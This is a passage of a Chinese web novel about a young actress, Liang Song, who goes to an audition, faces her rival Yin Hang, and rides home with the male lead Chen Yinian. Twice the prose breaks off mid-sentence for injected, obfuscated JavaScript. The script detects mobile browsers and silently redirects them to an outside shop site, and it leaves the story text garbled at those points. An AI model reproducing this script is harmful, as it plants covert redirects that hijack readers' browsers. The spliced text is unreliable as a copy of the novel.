梁颂正喝着酸奶,听了她的话,一口酸奶险些喷出来,她指着自己的鼻子,不可置信地问:“我啊?” “大惊小怪什么,不是你是谁?”梁母说,“你也该谈个恋爱了吧。” “我又不想谈,不方便。” “什么叫不方便啊。”梁母皱着眉说,“怎么着,当个演员就不许谈恋爱结婚了?” 梁颂握着酸奶瓶,不吭声。 姚思曼知道她肯定是还放不下唐松阳,也没心思和别人谈恋爱,忙说:“我想见!阿姨,您介绍给我呗,我也想见见海外归来的优秀青年到底长什么样。” “你看看人家思曼。”梁母戳了戳梁颂的额头,对姚思曼说,“行,回头我再去问问详细情况,给你要个联系方式。” “好哇,谢谢阿姨。” 姚思曼在梁母看不见的角度冲梁颂眨了眨眼,用口形对她说:“搞定。” 梁颂对她勾了勾嘴角。 不多时,姚思曼说要回家,梁母还要留她吃晚餐,姚思曼笑着推辞:“不了,阿姨,我回来一趟也不能不着家呀,下次我再来看您和叔叔。” “那让小颂送你回去。” 梁颂便站了起来:“我送你。” 姚思曼把她按下去,说:“你都开两个小时的车了,就安心在家歇着吧。我坐地铁回去就行了,又没几站路。” “那我跟你下楼。” “那行。” 梁母送她们出门,梁父闻声从厨房探出个脑袋:“思曼要走啦。” “是啊,叔叔再见。” “再见,有空常来玩啊。” “好——” 梁颂和姚思曼进了电梯,总算是松了口气:“我说我妈怎么今天想着给我打电话呢,敢情是醉翁之意不在酒,想给我介绍对象呢。” 姚思曼吐槽:“那不也是你自己选择今天回来的。” “我哪儿知道会是这样,我以为她想我了呢。”梁颂抱怨,又说,“哎,那优秀男青年你要是不想见,到时候找个借口直接推掉拉倒。” “为什么不见?”姚思曼纳闷地说,“机会难得,当然要见,万一真是个帅哥……” 梁颂好笑道:“嗯?” 姚思曼握拳:“那就主动出击,拿下他。” “好样的,勇气可嘉。”梁颂鼓掌,“不过我可提醒你啊,介绍人嘴里的话没几句可信的,你也别抱太大希望,免得希望越大失望越大。” 姚思曼不以为意:“见个面吃顿饭而已,又不会吃亏,管他的。” “行吧,你要是愿意也没问题。” 梁颂送姚思曼离开,又回家睡了个午觉,等到傍晚天气稍凉,梁母便要她陪自己出去逛逛。 梁颂虽说是没什么知名度,但也遵照郑临风的日常交代,戴上了帽子和口罩。好在街上行人众多,她这副行头也可以说是为了防晒准备的,并不显得很突兀。 母女两人在商场里闲逛,梁颂问:“你想买什么呀,买衣服?” “看见什么合适的就买呗,都很久没跟你出来转转了。”梁母说,“你说你要是个当红的大明星,是不是就不能跟着我出来了?” “那哪儿能,陪自己妈妈逛街,谁敢说什么?” “嗯?这次回来嘴怎么还变甜了?” 梁颂笑而不答,挽上梁母的手臂,端的是母慈女孝。 梁母偏又旧事重提,故作不经意地问:“小颂,我问你,你是不是有喜欢的人了?” 梁颂一怔:“为什么这么问?” “感觉像是。”梁母说,“你从小就多心,有什么心里话也不愿意和我说,但我毕竟是你妈,你想什么我不可能一点看不出来。” 梁颂沉默不语。 “你看,又是这样,一问你什么,你不想说就会装哑巴。”梁母叹气,“算了,不说就不说吧,你不是小孩子了,有自己的想法,妈妈尊重你的想法。” 梁颂心头一热,轻轻地“嗯”了声。 18. 第 18 章 梁颂本想按着梁母的意思在家多待几天,不想当晚就接到了郑临风的电话,对方语气急躁地问:“梁颂,你不在家跑到哪里去了?” 梁颂原本是躺着的,闻言心里一紧,立刻坐了起来,说:“我回家了,怎么了?” “你怎么不跟我说一声呢?”郑临风责怪,又催她,“你明天赶紧回来,下周就要去试镜了。” “这么快吗?”梁颂吃惊地问,“你前几天不是说刚开始筹备吗?” “说是制片人那边催得急,所以想先把主要演员定下来。”郑临风简单地解释,“现在还不确定是哪天,总之你先回来回来,免得到时候抓瞎。” “好吧,我知道了。”梁颂无奈地应,“我明天就回去。” “行,那先这样,挂了。” “临风姐再见。” 梁颂结束通话,先给姚思曼发了条消息:“明天一起回去,中午还来我家吃饭?” 姚思曼回得很快:“工作来了?那我中午去找你。” 梁母得知梁颂明天就要走,有点失落,但毕竟是工作,也就没多说什么,给她和姚思曼做了顿好吃的,下午便送她们走了。 回去的路上是姚思曼开车,她偶尔莽撞,梁颂不放心,也不敢闭眼,靠着椅背刷手机,不时和她聊两句。 姚思曼问:“对了,你问没问你经纪人男女主都找的谁呀。” “我哪敢问啊。”梁颂说,“她肯定得说我多管闲事,要我做好自己的事就行。” 姚思曼奇道:“你到底为什么那么怕你经纪人啊,我见过她一次,觉得她人还挺好的啊,说话很亲切。” “那是对你。”梁颂叹气,“她对我可没那么好说话,大部分时间都在挑我的毛病。” “为什么?你常惹她生气吗?不应该啊。” “那倒没有,她自己说是为了我着急,一回头看我自己都不往心里去,就更上火了。” “要换成我,我也上火。”饶是好朋友,姚思曼也忍不住吐槽了,“她要早知道你这样,当初肯定不签你。” “……也许吧。” 但姚思曼话锋一转,说:“但现在不一样了啊,说不定就无心插柳柳成荫了呢。而且我有种直觉,你肯定要火了。” 梁颂嘴角上扬,对她的乐观不予置评。 姚思曼又叮嘱她:“等你试镜成功了可千万要告诉我啊。” 梁颂笑笑:“你就那么肯定我能成功啊。” “当然了。”姚思曼一副理所应当的样子,“你可一直都是优等生,这种小小的试镜,手到擒来啦。” “那就借你吉言咯。”梁颂说,“要是成功了就请你吃饭。” “那好哇,就这么愉快地决定了。” 梁颂是被郑临风火急火燎地催着回来了,可等她回来后,郑临风只丢给她几页剧本就不管了,说是让她先熟悉熟悉文本风格。 当然,这剧本也不是最终的版本,仅供参考而已。 梁颂翻了翻这部暂定名为《竹枝词》的剧本,从可见的内容来看,这应该是一部以恋爱和探案为题材的轻喜剧,嗯,毫无疑问是恋爱为主,探案为辅。这样的影视剧并不少见,梁颂也暂时看不出什么与众不同之处。不过这毕竟是郑临风好不容易争取来的角色,也是她人生中第一个女二的角色,意义重大。 她总算能上桌了! 梁颂想到这一点,顿时就有了动力,支棱起来。她认真地在家看了几天剧本,可直等到周五,才终于等来了新进展。郑临风中午过来接她,先带她去吃了个午餐,紧接着便出发去试镜了。 尽管过了这些天,梁颂已经尽量调整好了自己的心态,但头一次在这样的状态下去试镜,她心中仍是难免忐忑,紧张得双手紧紧交握,问郑临风:“临风姐,你知道还有谁要试这个角色吗?” “别的人我不太确定,但对一个人我有十二分的把握。”郑临风从后视镜看了她一眼,问,“你猜猜是谁?” “我猜?” “老对手了,你想想。” 梁颂想了想,恍然:“不会是尹航吧?又是她?” “可不是,又是她。”郑临风说,“我看她算是盯上你了,难得我给你抢到一个女二的机会,你千万别输给她。” 梁颂应了声,纳闷地问:“她干嘛盯着我不放呢?” 郑临风随口回答:“大概是不服气吧。” “不服气?” “你抢了人家角色,忘了?” 的确,梁颂是和尹航竞争过同一个角色,还是两次,而这两次都是她赢了对方,成功地得到了角色。从那以后,尹航就各种看她不顺眼,每一碰面必是从鼻子里出冷气。更不巧的是,她们俩在同家公司,想要避免碰面都不行。 可是…… 梁颂皱起眉头:“又不是什么重要的角色,有那个必要吗?而且角色又不是我通过不正当渠道抢的,是导演经过考核定下来的,她不去记恨导演反而记恨上我了?” “她哪有那个胆子记恨导演,记恨你就够了,还能拿你出出气。”郑临风说完,突然意识到哪里不对劲,扭头看她,“嗯?你今天说话怎么这么硬气?转性子了?” 梁颂心虚地撇开视线,望向车窗外:“我实话实说而已。” “好!要的就是这股劲,继续保持。”郑临风才不管她是为什么转了性,大力赞许,“你看,论长相,论演技,你哪里都比她强,面对她就要有这种气势,用气势盖过她,告诉她你比她强。” 梁颂心知肚明,郑临风之所以也这么在意尹航,是因为这其中还有另外一个原因。她和尹航的经纪人向来不和,两个人为了给自己带的艺人争资源,没少明里暗里地较劲,梁颂和尹航能屡屡碰上,自然也和她们的斗争也有着密不可分的联系。 管他呢,反正自己做自己该做的事就好,其余的就听天由命吧。 梁颂摇摇头,抛掉乱七八糟的念头,闭目养神,养精蓄锐。 导演把试镜的场地安排在了郊区的一栋别墅,等梁颂她们到的时候,宽敞的一楼大厅里已有十几个人在等待了,都是由经纪人或助理陪着的演员,男女皆有,其中也不乏眼熟的面孔。 郑临风告诉梁颂,今天安排的是男二和女二的试镜,男演员们估计也会早早地过来等着。 梁颂不动声色地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640318|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环视一圈,果然在靠近楼梯方向的一张单人沙发上见到了尹航。她的经纪人赵怡然坐在沙发扶手上,正俯身跟她说着什么。 郑临风也看到了她们,毫不掩饰自己的嫌弃:“我们不过去,离她们远点。” 梁颂点了点头:“好。” 她们找了个角落坐下,郑临风问:“我给你的剧本你看了吗?” “看了,但你不是说不是最终版吗?而且试镜的片段也不会从那里面出吧。” 郑临风摆摆手:“没事,看了就行,心里有个底。” “嗯。”梁颂察言观色,看郑临风心情还不错,问,“临风姐,男主和女主的演员都定了吗?你有什么内幕消息吗?” 郑临风瞥她:“怎么?你想试女主?” 梁颂脱口而出:“不想当女主的演员不是好演员。” 郑临风诧异地挑眉:“不错嘛,很有志气的发言。” “呃……”梁颂有点不好意思,试图把话题拉回来,“你还没回答我的问题呢。” “女主我是没听说,不过男主我倒是听了些小道消息,但也不知道真假。” 梁颂眼睛一亮:“是谁?” “你这么关心啊。”郑临风虽是不太理解,但仍然善良地选择满足她的好奇心,说,“我听一个朋友说——” 她话还没说完,就被一道略带嘲讽的女声打断了:“哟,这不是郑临风吗?还有那个……谁来着?抱歉啊,我老记不住你名字。” 梁颂一抬头,就见到尹航和赵怡然站在面前,居高临下地俯视她们,一个目中无人,一个趾高气扬。 她们不知道见过多少次,赵怡然不可能没记住她的名字,这么说,无非是想表现自己贵人多忘事,根本没把她放心上。 梁颂懒得戳穿她,乖巧地做哑巴,再看郑临风,她坐得稳如泰山,只掀起眼皮轻飘飘地扫了她们一眼,说:“可不是嘛。” 赵怡然皮笑肉不笑地问:“郑临风,你干吗总跟我抢?这让你很有成就感吗?” “我跟你抢?”郑临风笑了,“你搞没搞错啊,明明是你跟我抢吧。怎么,输了两次还没输够吗?” 尹航一听这话,脸都要青了,又怒又怨地瞪梁颂。 梁颂对此同样视而不见,假装听不到郑临风和赵怡然的争吵,做出神游天外的姿态。 赵怡然的脸色也不好看,偏偏郑临风说的是事实,她还无法辩驳,咬了咬牙,嘴硬道:“这么自信吗?小心待会儿打脸,让人看笑话。” 郑临风泰然自若地回应:“没事,有些人都打两回脸了,不也好好的嘛。” 尹航:“……” 赵怡然:“……” 她们两个的神情变化过于精彩,梁颂使劲掐着指腹,一忍再忍,终于是没忍住,“扑哧”一声笑了出来。 虽然她的这声笑音量很低,但对于尹航和赵怡然而言,侮辱性简直拉满了。 赵怡然顿时面露怒色,眼睛里都要冒火了,不客气地指着她问:“你笑什么?” 梁颂忙抬手捂住嘴,眼睛和声音里的笑意却藏也藏不住:“对不起,我只是忽然想到了一个冷笑话。” 19. 第 19 章 什么冷笑话,分明是瞎掰的。 赵怡然心里自然也跟明镜似的,但她又不能堂而皇之地指责梁颂说:“你撒谎,你就是在嘲笑我们。”这样也太掉价了,面子都丢干净了。 她咬牙切齿,只能用万分不友善的目光瞪着梁颂。 梁颂满脸诚恳:“你们也想听吗?我可以讲给你们听。” 郑临风顺口接道:“你还会讲冷笑话?讲来听听。” “好像也不算冷笑话,是我朋友给我讲的。”梁颂说,“请问,为什么晴天能使人心情好?” “哈?”郑临风莫名其妙,“脑筋急转弯吗?” “你就猜嘛。” 郑临风皱着眉,只思索了几秒就选择了放弃:“不想猜,你说吧。” 梁颂一本正经地公布答案:“因为人在无语(雨)的时候就会想笑。” 郑临风言简意赅地评价:“烂梗。” “怎么会,明明就很有趣。”梁颂眨了眨眼,无辜地看向赵怡然,“不好笑吗?” 赵怡然的脸色变了又变,梁颂猜如果不是在这么多人的地方要顾及面子,她一定要忍不住张嘴骂人了。 这时,几声愉悦的笑声打破了凝滞的气氛,继而有人回答了她的问题:“很好笑。” 那声音熟悉得很,梁颂听得毛骨悚然,瞪大了眼睛扭头望去,就见陈以年斜倚在门边,双手抱胸,不知道站了多久,而自己居然也一直没注意那里什么时候多了个人。 陈以年放下手臂,走到她们身边,抬了抬手算是打招呼。 郑临风和陈以年的经纪人凌昉很熟悉,因而和陈以年也说得上话,见他来了便站起身来同他寒暄,梁颂只得跟着起身,维持表面的礼貌。 郑临风询问陈以年:“你一个人来的?凌昉没来盯梢?” “他先上楼了。”陈以年笑着说,“我想着先来看看今天参加试镜的都有谁。” 赵怡然此时已经压下了自己的满腔怒意,也若无其事地搭话,对陈以年说:“马上要开始的是女二的试镜,男二得到傍晚了吧。” “不,我不是来试镜的。” “哎?”赵怡然愣了愣,似乎不太清楚眼前的状况,“那是……” “咦?你不知道吗?”郑临风贴心地为赵怡然答疑解惑,“导演邀请陈以年出演男主呢。” 梁颂惊呼出声:“什么?” 话音一落,她便意识到这声音不只是自己的,还夹着尹航和赵怡然的声音,三个人也算是“心有灵犀”了。 郑临风大概是觉得她反应过度,太丢自己的脸,在背后抬起手,暗戳戳地捏了一把她的小臂。 梁颂忍着没喊疼,也没在面上表现出来,只暗暗地把这一笔记在了陈以年的账上。 不是吧,陈以年演男主?真的假的?他能看上这小小的古偶? 郑临风又问陈以年:“但我听说你当时拒绝了啊,怎么,又改主意了?” “当时也没有拒绝。”陈以年否认,说,“只是在考虑之中。” “所以,现在决定了?” 陈以年的视线似有若无地从梁颂身上飘过:“嗯,决定了,今天过来就是来和导演详谈这件事的。” “那很好啊。”郑临风喜形于色,把梁颂往前拽了拽,说:“梁颂,看到没,这个项目真的不错,连陈以年都来了,你可要好好表现。” 梁颂可笑不出来,勉强扯了扯嘴角,也比哭好看不了多少。 陈以年说:“那我就先上楼了,待会儿见。” 郑临风忙说:“没事,你去忙你的。” 而梁颂却察觉到了一丝微妙的不对劲,蹙起眉头。 等等,什么叫“待会儿见”?为什么还得见他? 但是很快,梁颂就知道了这个问题的答案。 试镜不多时就准备开始了,副导演来向参与试镜的女演员们宣布试镜顺序。 顺序是随机决定的,梁颂好巧不巧被排在了最后一个,好在她对第几个试镜这种问题并不太在意,一般情况下不会受到影响。 郑临风低声对她说:“别急,沉住气。” 梁颂笑了笑:“我知道,你别担心。” 不过她这放松的心态并没能持续多长时间,陈以年也从客厅中央的楼梯走了下来,但他却并没有要离开的意思,只对副导演点了点头。 紧接着,副导演便说:“为了配合大家试戏,这次导演特意请了我们刚刚敲定的男主——陈以年来和大家对戏,我们先用掌声感谢他!” 众人沉寂片刻,随即陆续鼓起掌来。 梁颂勉强跟着拍了两下巴掌,只想扭头就走。 假如仅仅是进同一个组,她还能说服自己拿出职业精神,单纯地把对方当作一起工作的同事,可要是从试镜开始就……她真怕自己连试镜都通过不了。 “陈以年,请你也跟大家说几句吧。” 陈以年微笑:“我会全力配合大家的,希望大家都能发挥出自己最好的水平。” 梁颂无声地叹气,心想就是有你的配合,我才发挥不好呢。 等待的时间格外漫长,梁颂安安静静地靠着沙发,合着眼皮,听着周围细碎的交谈声和脚步声。 郑临风也没打扰她,兀自低着头处理工作,中间还出去打了两通电话。 等她打第二通电话,轻轻推了推梁颂:“梁颂,你可别睡着了啊,我刚看尹航进去了,再过两个可就是你了。” 梁颂应了声,睁开眼睛坐直了身子:“我醒着呢,这怎么可能睡着。” “嗯,那就好。” 梁颂看郑临风看了几次时间,脚尖频繁点地,很焦急的模样,问:“怎么了?临风姐你有事吗?” “公司有事找我,我说等你这边结束了就过去。” “你要着急就先去嘛。”梁颂说,“我这边结束了也没别的事吧,我自己打车回家就行。” “没事,我等着把你送回家再去,你一个人我不太放心。” 梁颂笑着说:“你还不放心我呀,你就安心去忙你的工作吧。” 郑临风面露怀疑:“你确定一个人没问题?” 梁颂压下心里不安的话,只对她比了个OK的手势。 郑临风又看了一眼手机,或许是真的很急,说:“那好吧,你结束后发消息告诉我,到家了再告诉我一声。” 梁颂点了点头:“嗯,好。” 郑临风站起身,又拍了拍她的肩膀,便急匆匆地离开了。 梁颂目送她的背影消失,脸上的笑意敛去,双手用力交握,自我安慰说,没关系的,不就一个陈以年吗?自己也是专业的,还能怕他不成? 又过了几分钟,尹航从试镜的房间里走了出来,脸色不太好,跟霜打的茄子似的,看着像是不太顺利。 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673024|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实梁颂还挺想上去问问的,可又没那个勇气,就坐在原地,目光一直追随着她。 尹航也注意到了,气呼呼地走过来,问:“你看我干吗?” 梁颂条件反射地摇了摇头,小声问:“还好吗?” 尹航一拳打在棉花上,反倒不知道说什么了,半晌才嘟囔了一句:“那个陈以年可真讨厌。” “啊?” 尹航图了一时的嘴上痛快,又意识到自己不该和竞争对手说这些,冷冷地“哼”了声,昂头走了。 “……” 被尹航这么一说,梁颂也忍不住开始紧张了。陈以年是个讨嫌的家伙,这她早就知道,可这毕竟是试镜,陈以年也不至于那么没分寸,存心在试镜里难为人吧。 那自己待会儿该怎么办呢? 梁颂再也坐不住了,站起来来来回回地踱步,在脑子里反复回放自己看的那几页剧本,揣摩不多的剧情里体现出来的人物形象。 快意恩仇的冷面女侠,很有趣,也很有挑战性,不管男主是谁,她都要尽自己最大的努力去争取。 终于,前面两位演员的试镜也结束了,轮到了她这最后一个。 梁颂站在用于试镜的房间门口,做了个深呼吸,伸手推开了门。 正对门的方向是一张长桌,坐着的是一排五个负责试镜的剧组人员,梁颂只认得一个副导演,其余的三个人,中间的是导演,另外三个则是编剧和制片方的人。 在长桌靠房间内侧的一端,陈以年独自坐在一把椅子上。他原本在低着头看剧本,听到开门声便抬头望向梁颂。 梁颂脸上摆出试镜专用的笑容,对他们鞠躬致意。 副导演还是比较和气的,笑眯眯地说:“梁颂,请你先做一个自我介绍吧,简单介绍下自己出演过的剧名和角色就好。” “好的。”梁颂应着,努力忽视来自于陈以年的视线,选了几部还算能拿得出手的作品,并分别用三言两语概括了自己的角色,尽量让那些角色显得没有那么微不足道。 然而,导演也不知道究竟有没有在认真听,自顾自地翻着手上那份由经纪人提前递上去的艺人资料,发出哗啦啦的纸张翻动声。 梁颂自我介绍完毕,导演仍在翻资料,没有抬头看她,也没有补充提问,其他几位似乎也在等他先开口,都默契地选择闭嘴看资料。 梁颂这是头一次和这位导演合作,看他这样心里很没底,也很不满。 这种故意考验人心态的方法她倒是知道,但可能是因为自己之前试的都是小角色,还没有人对她用过这招。 可是,总不能就这么傻傻地等着吧。 她又耐心地等了大约两分钟,底气渐渐不足,心中有忐忑,但更多的却是不满。 真的有必要这样吗?这到底有什么意义? 梁颂压下从心底慢慢渗出的焦躁,很想看看陈以年现在是个什么状态,便抬眼朝他瞥去,不想陈以年正盯着她看,两个人的视线恰好撞了个正着。 陈以年不躲不闪,甚至眉目间隐隐有担忧之意,还微微对她颔首,像是在……安抚? 梁颂被自己的想法吓了一跳,立刻又垂下了眼帘。不,不会的,他怎么可能那么好心,不隔岸观火就不错了。 她定了定神,鼓起勇气,出声试图打破这一僵局。 “不好意思,导演,请问我们可以停止浪费时间了吗?” 20. 第 20 章 导演闻言,略显诧异地抬头看梁颂。 梁颂迎着他的目光,毫不避让,一双杏眼黑白分明。 两个人对视了几秒,导演先移开了视线,侧头看向最旁边的一个助理模样的年轻女生,女生会意,拿着两张打印纸起身,走到梁颂身边递给她。 梁颂接过来道了声谢,刚草草地浏览了一遍就听导演说:“这是剧本里男主和女二的一段对戏,梁颂你可以稍微准备几分钟,准备好就开始。——哦,不强制要求脱稿,所以时间不要超过十分钟。” “好的,谢谢导演。”梁颂点点头,又迟疑地看了陈以年一眼,又问,“那陈——” 她没想好该怎么称呼陈以年,陈以年先说:“我已经准备好了,随时可以开始。” 梁颂抿了抿嘴,应:“嗯。” 她在大家的注视下转身走到墙边,依着自己的习惯,面对着墙默记台词,同时在心里估算着时间。 大概了七八分钟,她转过身来,往前走了几步,说:“可以了。” 陈以年不待导演要求,主动先起身走了过来。 导演看他们就位完毕,说:“好,开始吧。” 梁颂要试的这场戏是围绕剧中的男主和女二针对一起案件的一次争执展开的。拥有朴素道德观的女二无法接受男主对凶手一定要公事公办的态度,步步紧逼,男主则是四两拨千斤,轻轻巧巧地予以回应。两个人各执己见,互不相让,直到女主出现才打断了他们的争吵。 这场戏内容简单,可台词却不算少,虽然导演不强制要求脱稿是在降低难度,但要是真的一边吵架一边看台词,情绪就会很容易断掉,因此整体难度并不低。 梁颂眼看着陈以年是空手来的,想他可能是演了好多遍,台词已是烂熟于心,一咬牙,也把手上的台词折了起来。 再抬眼时,她已经进入了角色,望向陈以年时眼神森然,说出了第一句台词:“崔萑,你不觉得你这样做太不近人情了吗?” 陈以年轻笑:“真是稀奇,向来铁石心肠的时女侠居然在说我不近人情?” 梁颂不为所动:“崔萑,你不要嬉皮笑脸的,我不是在跟你开玩笑。” “我也没有在开玩笑。”陈以年敛了笑意,“时女侠,我知道你是个善良的人,但国有国法,我只能这样做。” “但宋老伯他是有苦衷的,他杀人是迫不得已!” “不管有什么苦衷,做了就是做了,就要依法处置。”陈以年直视梁颂的眼睛,“何况我身为朝廷官员,若是将法度置之不理,那我又有什么脸面穿这身官服呢?” 他的表情游刃有余,眼神却极具侵略性,梁颂恍惚了一瞬,不自觉眨了下眼以错开视线,但旋即又迅速调整好了状态,继续表演。在对方的带动下,她也愈发将自己代入了角色,心中那股要驳倒他的冲动无比强烈,再讲台词时语气里也不自觉地多加了几分攻击性和对抗性。 两个人越演越顺,你一言我一语,整场戏下来,谁都没有看一次台词。 演完之后,梁颂紧绷着的那根弦还没松下来,整个人都很僵硬。陈以年似乎看出了她的紧张,主动朝她伸出右手。 梁颂勉强地伸出手和他回握,一声“谢谢”哽在喉头,怎么也开不了口。 陈以年并不在意,兀自走回自己的位置坐了回去,真真是把自己当成专业的NPC了。 导演先问小助理:“这是最后一个吧。”得到肯定的答复后,他微微颔首,说,“在今天试戏的这些女演员里,只有两个人做到了脱稿。梁颂,你是其中之一。” 梁颂不知道他是要表达什么,谦逊地听着,没有马上作答。 导演停顿片刻,接着说:“在你们两个之中,你做得又比她好,你之前在拍戏的时候,记台词都是这么快吗?” 要说别的梁颂还能谦虚谦虚,但要论记台词这一块,她还真的极少有输的时候,有不少合作过的演员都很羡慕她的速度,有的还会拜托她传授经验。 她如实回答:“差不多吧,我记忆力还行,读书的时候记东西是会比别的同学快些。” “这倒挺好,对演员这个行当来说是种天赋。”导演难得称赞了一句,又和陈以年开了个小玩笑,“我看你要被比下去了。” 陈以年面不改色,淡然自若地笑:“我本来也算不得什么,被比下去也很正常。” 导演哈哈地笑了两声:“你们毕竟都是年轻人,脑子比我们这些老家伙好使。” “您又说笑了。” 导演摆摆手,对梁颂说:“今天表现不错,结果出来我们会通知你经纪人的。” 梁颂小幅度鞠了一躬:“谢谢导演,谢谢各位老师。”说罢便礼貌地退出了房间,关门时犹听他们在低声交谈,但已听不清内容。 梁颂往别墅外走,同时给郑临风发了条消息:“结束了。” 郑临风回得倒很快:“好,那你先打车回家,等回头有消息了我告诉你。” “好的。” 梁颂回复了郑临风,又打开软件叫车,可不知道是不是因为这里的位置太偏了,等了许久也没有司机接单。她不由得有点心急了,开始考虑要不要再给郑临风打个电话,请她帮忙解决问题。 正在她犹豫的时候,身后的门被打开,她闻声回头,就见陈以年打着电话走了出来。 陈以年看到梁颂仍然在这里没走,稍显讶异地挑了下眉,虽然仍在和电话那头的人说话,目光却一直停留在梁颂身上。 梁颂被他看得很不自在,又逃也似的走开了几步,反复刷新叫车界面,暗自祈祷快点有司机接单。 真是的,早知道会这样就自己开车了,搞得现在这么被动,这么远的距离,总不能靠自己两条腿走回去吧。 “嗯,那我就回家了,回头联系。” “好,拜拜。” 眼看陈以年结束了通话,梁颂假装无视他的存在,自顾自地低头看手机。 陈以年却很没眼色地走了过来,问:“你怎么还没回去?在等经纪人来接吗?” 梁颂很想撒谎说是,免得他还要问个没完,可是一开口就不由自主地交代了个干净:“她有事过不来,让我打车回去,但等了很久都没有司机接单。” 陈以年大概也没想到她这么坦白,说:“这边的确很难打车。” 梁颂干巴巴地应:“哦。” 陈以年又问她:“你住在哪儿?” 梁颂懵懵地张嘴:“啊?” 陈以年晃晃手上的车钥匙:“我开车了,顺便送你回家。” 梁颂抗拒地皱眉:“不用了,又不顺路,我多等一等,总会等到车的。” “走吧,跟我还客气什么。”陈以年坚持,又戏谑地说,“还是说,你是怕我,不敢上我的车?” 这一招很奏效,梁颂明知他在用激将法,但在好胜心的驱使下,依然会选择应战。 “你有什么可怕的,我为什么要怕,走啊。” 陈以年笑了:“走吧。” 他带着梁颂到了自己停车的位置,体贴地帮她拉开副驾驶的车门:“请吧。” 梁颂别扭得想死,但来都来了,也只能硬着头皮上了车,上车第一件事就是伸手去拽安全带系好。 陈以年打开了导航,问:“地址?” “……枫林花溪一区。” “嗯,不远,不到一个小时。” 车子还没开出去,梁颂的手机震动起来,她看清来电人,忙接了起来:“喂?师傅您好,对,我是在竹苑这边。——您过来要十分钟吗?那我等您。” 陈以年看过来,问:“接单的司机?” 梁颂稍稍拿开手机,说:“嗯,不用麻烦你送我了,我叫的车十分钟就到。” 陈以年伸出手,示意梁颂把手机给他,梁颂还没反应过来,手机就被他接了过去:“师傅您不用过来了,我这边取消订单,不好意思麻烦您了。” 说罢就挂了电话。 “喂!”梁颂眼看他这就把自己好不容易盼来的司机就这么打发了,恼怒地问,“你干吗?” 陈以年把手机还给 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“已经结束了,目前有一个好消息和一个坏消息,你想听哪个?” “好消息吧,我工作了一天头昏脑涨,急需好消息回回血。” “关于试镜,自我感觉良好,有种能过的预感。” “这么棒!那还能有什么坏消息?” 梁颂垮下了肩膀:“男主确定陈以年,而且我现在在他的车上。” 姚思曼几乎是秒回,发来一串感叹号:“这不是两个好消息吗?有陈以年做男主,宣传也不用愁了,这导演有点东西啊,怎么请动他的?” “那我怎么知道。” “你问啊!你不是就在他车上吗!” 梁颂眉头拧成一团,她不是不想问,可怎么问呢?显得自己很关心他一样。 不等她询问,陈以年先开口了,他不经意地说:“你觉得怎么样?” “啊?”梁颂愣了愣,“你指什么?” “试镜。” “还……好吧。” 陈以年点了点头,说:“导演好像很满意,我认为你赢的可能性很大。” 他又不是导演本人,代表不了导演的意见,梁颂压根没往心里去,随口敷衍:“是吗?” “个人观察。”陈以年说,随即话锋一转,说,“但你有一个问题,只有和你对戏的我最清楚。” 他这么直言不讳地挑剔自己的毛病,梁颂一听就不服气了,侧头看他:“什么问题?” 陈以年轻描淡写地说:“你不敢和我对视。” 梁颂心脏一紧,立即回想起自己那一瞬的退缩。 但是,他怎么可能会注意到呢? 陈以年看她不说话,替她说:“你是不是在想我是胡说八道,你明明就在和我对视,我凭什么说你不敢。” 梁颂当然不会说出自己的真实想法才不是这样,闭口不言,警惕地看着陈以年,想听听他还有什么要说的。 陈以年说:“确实,你在看着我的眼睛,这不假,可你的视觉焦点根本没有放在我的眼睛上,你的眼神没有聚焦。——梁颂,你在看哪里?” 梁颂无言以对。 陈以年语气严肃,说:“梁颂,作为你的学长,我必须要提醒你,在表演的时候不能分心,一分一秒都不行。” 梁颂万万没想到陈以年是真的想要帮助她,一时间不由得生出一种是自己以小人之心度君子之腹的羞愧感。 她咬了咬嘴唇,艰难地从嗓子里挤出了几个字:“知道了,谢谢提醒。” 只不过,她对陈以年的改观还没能持续多久,那一丢丢微弱的好感就再次被击碎了,因为陈以年说:“当然如果是另一种情况,那就另当别论了。” 梁颂不明所以:“什么?” 前方路口的绿灯转红,陈以年踩下刹车,微微倾身过来,脸上挂着一丝笑意:“你不敢看我,是出于心虚。” 21. 第 21 章 陈以年的这句话正戳中了梁颂心中所想,但她不知道陈以年是否明白更深层的原因,心慌意乱地错开视线,音量也不自觉提高了,只可惜说出的话出卖了她的心思:“你怎么知道?” 陈以年对她的坦白大感意外,从后视镜看了她一眼:“看来我说对了?” 梁颂立刻闭紧了嘴巴,满眼敌意地看着他。 “不过这是为什么呢?”陈以年眉梢上扬,“难不成你还在为以前的小事记仇吗?” 梁颂并不想搭腔,仍是一言不发。 陈以年点了点头,一副了然于心的模样,但直到信号灯变绿,车子再度开出去,他才冷不丁地开口:“你现在还认为自己喜欢松阳吗?” 梁颂脸色骤变,险些被自己的口水呛到,转头瞪他:“停车!我要下车!” 她就知道她不该上陈以年的车,果然跟这人在一起就永远别想顺心。 陈以年好脾气地笑笑:“好好好,我不问就是了。你总不能让我停在路中间吧,交警可是会来找麻烦的。” 梁颂恨恨地咬牙,撇过头去。 “说起来,我和松阳见面时倒常听他说起你,他说你们两个这几年都没有联系了。”陈以年说着不问,实则嘴上一直没停,似乎看准了自己能拿捏梁颂,“我想来想去都很不解,既然你当初自认为那么喜欢他,为什么现在却又理都不理呢?” 